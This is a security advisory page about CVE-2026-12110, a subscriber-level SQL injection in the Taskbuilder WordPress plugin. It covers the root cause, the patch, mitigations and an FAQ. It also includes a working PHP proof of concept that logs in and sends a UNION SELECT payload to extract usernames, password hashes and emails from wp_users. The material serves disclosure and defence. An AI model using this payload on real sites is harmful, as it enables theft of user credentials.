What is CVE-2026-12110?

CVE-2026-12110 is a SQL injection vulnerability in the Taskbuilder plugin for WordPress, versions 5.0.8 and earlier. It allows authenticated attackers with subscriber-level access or higher to inject arbitrary SQL via the ‘task_search’ parameter in the wppm_get_task_list AJAX handler.

How does the SQL injection work?

The vulnerability exists because the ‘task_search’ parameter is used directly in a SQL LIKE clause without parameterized queries or proper escaping. An attacker can break out of the string context by sending a payload like ‘ OR 1=1 — – to modify the query and extract sensitive data from the database.

Who is affected by this vulnerability?

Any WordPress site running the Taskbuilder plugin version 5.0.8 or earlier is affected. The vulnerability can be exploited by any authenticated user, including those with subscriber-level access, due to missing capability checks and nonce verification.

How can I check if my site is vulnerable?

Check the Taskbuilder plugin version in your WordPress admin dashboard under Plugins. If the version is 5.0.8 or lower, your site is vulnerable. You can also verify by reviewing the file /wp-content/plugins/taskbuilder/includes/admin/tasks/wppm_tasks_list.php for the vulnerable LIKE clause.

What is the CVSS score and what does it mean?

The CVSS score is 6.5, which is considered Medium severity. This indicates a significant risk to confidentiality, as the attacker can extract sensitive data, but exploitation requires authenticated access, which lowers the overall severity.

What data can an attacker extract?

An attacker can extract sensitive information from the WordPress database, including usernames and password hashes from the wp_users table, private posts, and other data accessible to the database user. Time-based or boolean-based blind injection can also be used to enumerate tables and columns.

How do I fix this vulnerability?

Update the Taskbuilder plugin to version 5.0.9 or later, which removes the vulnerable LIKE clause and properly handles user input. The patch replaces the dynamic SQL construction with a safe join condition and uses absint for integer parameters.

Are there any temporary mitigations?

If you cannot update immediately, you can disable the Taskbuilder plugin or restrict access to the wppm_get_task_list AJAX handler by adding a capability check or nonce verification via a custom plugin or code snippet. However, updating is the recommended solution.

Why is there no nonce or capability check?

The wppm_get_task_list AJAX handler in the file wppm_edit_project_creator.php was implemented without nonce verification or capability checks. This oversight allows any authenticated user, including subscribers, to invoke the handler and exploit the SQL injection.

How does the proof of concept work?

The PoC authenticates as a subscriber, then sends a POST request to admin-ajax.php with action=wppm_get_task_list and a crafted task_search parameter containing a UNION-based SQL injection payload. This extracts data like usernames and password hashes from the wp_users table.

Is this vulnerability being exploited in the wild?

As of the disclosure date, there are no public reports of active exploitation. However, given the ease of exploitation and the availability of a PoC, administrators should apply the patch promptly to prevent potential attacks.

What should I do if I suspect my site has been compromised?

Immediately update the Taskbuilder plugin to version 5.0.9, change all user passwords, and review database logs for suspicious queries. Scan your site for malware and consider restoring from a backup taken before the vulnerability was disclosed.

Published : July 3, 2026

CVE-2026-12110: Taskbuilder <= 5.0.8 Authenticated (Subscriber+) SQL Injection via 'task_search' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-12110

Plugin taskbuilder

Severity Medium (CVSS 6.5)

CWE 89

Vulnerable Version 5.0.8

Patched Version 5.0.9

Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12110:

This vulnerability allows authenticated SQL injection in the Taskbuilder plugin for WordPress, versions 5.0.8 and earlier. The flaw exists in the wppm_get_task_list AJAX handler, which lacks both nonce verification and capability checks. An attacker with subscriber-level access can inject arbitrary SQL via the ‘task_search’ parameter.

Root Cause: The vulnerable code is in /wp-content/plugins/taskbuilder/includes/admin/tasks/wppm_tasks_list.php, lines 203-230. The $search_tag variable, sanitized via sanitize_text_field(wp_unslash($_POST[‘task_search’])), is used directly in a SQL query without parameterized queries or proper escaping. The query builds a LIKE clause with user input: “user.display_name LIKE ‘$search_tag_text'”. This allows an authenticated attacker to break out of the string context and append arbitrary SQL. The AJAX action ‘wppm_get_task_list’ (handled in wppm_edit_project_creator.php AJAX handler) does not perform any capability check or nonce verification.

Exploitation: An attacker sends a POST request to /wp-admin/admin-ajax.php with action=wppm_get_task_list and task_search containing a SQL injection payload. Because the query uses unescaped concatenation, a payload such as ‘ OR 1=1 — – can extract data. The attacker can target the wp_users table to harvest usernames and password hashes. The lack of authentication checks allows any authenticated user, including subscribers, to trigger the vulnerable handler.

Patch Analysis: The patch removes the vulnerable LIKE clause entirely, replacing “user.display_name LIKE ‘$search_tag_text'” with a join condition that does not use user input. The $search_tag_text variable is set to an empty string when $search_tag is empty, and the payload is no longer concatenated into the SQL string. The patch also changes other escaping calls (esc_sql to absint) to ensure integer parameters are handled safely, but the core fix is removing the dynamically constructed LIKE clause.

Impact: Successful exploitation allows an attacker to extract sensitive information from the WordPress database, including user credentials (password hashes), private posts, and other data accessible to the SQL user. The attacker can also perform time-based or boolean-based blind injection to enumerate tables and columns. The CVSS score of 6.5 reflects the authenticated requirement and the high impact on confidentiality.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12110 - Taskbuilder <= 5.0.8 - Authenticated (Subscriber+) SQL Injection via 'task_search' Parameter

$target_url = 'http://example.com'; // Change to target WordPress URL
$username = 'subscriber';
$password = 'subscriber_password';

// Step 1: Authenticate and get nonce/cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Trigger SQL injection via wppm_get_task_list AJAX handler
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$sql_payload = "' UNION SELECT user_login,user_pass,user_email,ID,display_name,user_registered,user_activation_key,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 FROM wp_users-- -";

$post_data = array(
    'action' => 'wppm_get_task_list',
    'task_search' => $sql_payload,
    'wppm_task_filter' => 'all',
    'wppm_proj_filter' => '0',
    'public_projects' => '0'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
curl_close($ch);

echo "Exploit result:n";
echo $result;
?>

Frequently Asked Questions

What is CVE-2026-12110?
Vulnerability overview
CVE-2026-12110 is a SQL injection vulnerability in the Taskbuilder plugin for WordPress, versions 5.0.8 and earlier. It allows authenticated attackers with subscriber-level access or higher to inject arbitrary SQL via the ‘task_search’ parameter in the wppm_get_task_list AJAX handler.
How does the SQL injection work?
Technical mechanism
The vulnerability exists because the ‘task_search’ parameter is used directly in a SQL LIKE clause without parameterized queries or proper escaping. An attacker can break out of the string context by sending a payload like ‘ OR 1=1 — – to modify the query and extract sensitive data from the database.
Who is affected by this vulnerability?
Affected users
Any WordPress site running the Taskbuilder plugin version 5.0.8 or earlier is affected. The vulnerability can be exploited by any authenticated user, including those with subscriber-level access, due to missing capability checks and nonce verification.
How can I check if my site is vulnerable?
Detection methods
Check the Taskbuilder plugin version in your WordPress admin dashboard under Plugins. If the version is 5.0.8 or lower, your site is vulnerable. You can also verify by reviewing the file /wp-content/plugins/taskbuilder/includes/admin/tasks/wppm_tasks_list.php for the vulnerable LIKE clause.
What is the CVSS score and what does it mean?
Risk assessment
The CVSS score is 6.5, which is considered Medium severity. This indicates a significant risk to confidentiality, as the attacker can extract sensitive data, but exploitation requires authenticated access, which lowers the overall severity.
What data can an attacker extract?
Potential impact
An attacker can extract sensitive information from the WordPress database, including usernames and password hashes from the wp_users table, private posts, and other data accessible to the database user. Time-based or boolean-based blind injection can also be used to enumerate tables and columns.
How do I fix this vulnerability?
Patch and update
Update the Taskbuilder plugin to version 5.0.9 or later, which removes the vulnerable LIKE clause and properly handles user input. The patch replaces the dynamic SQL construction with a safe join condition and uses absint for integer parameters.
Are there any temporary mitigations?
Workarounds
If you cannot update immediately, you can disable the Taskbuilder plugin or restrict access to the wppm_get_task_list AJAX handler by adding a capability check or nonce verification via a custom plugin or code snippet. However, updating is the recommended solution.
Why is there no nonce or capability check?
Root cause analysis
The wppm_get_task_list AJAX handler in the file wppm_edit_project_creator.php was implemented without nonce verification or capability checks. This oversight allows any authenticated user, including subscribers, to invoke the handler and exploit the SQL injection.
How does the proof of concept work?
PoC explanation
The PoC authenticates as a subscriber, then sends a POST request to admin-ajax.php with action=wppm_get_task_list and a crafted task_search parameter containing a UNION-based SQL injection payload. This extracts data like usernames and password hashes from the wp_users table.
Is this vulnerability being exploited in the wild?
Active exploitation
As of the disclosure date, there are no public reports of active exploitation. However, given the ease of exploitation and the availability of a PoC, administrators should apply the patch promptly to prevent potential attacks.
What should I do if I suspect my site has been compromised?
Incident response
Immediately update the Taskbuilder plugin to version 5.0.9, change all user passwords, and review database logs for suspicious queries. Scan your site for malware and consider restoring from a backup taken before the vulnerability was disclosed.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started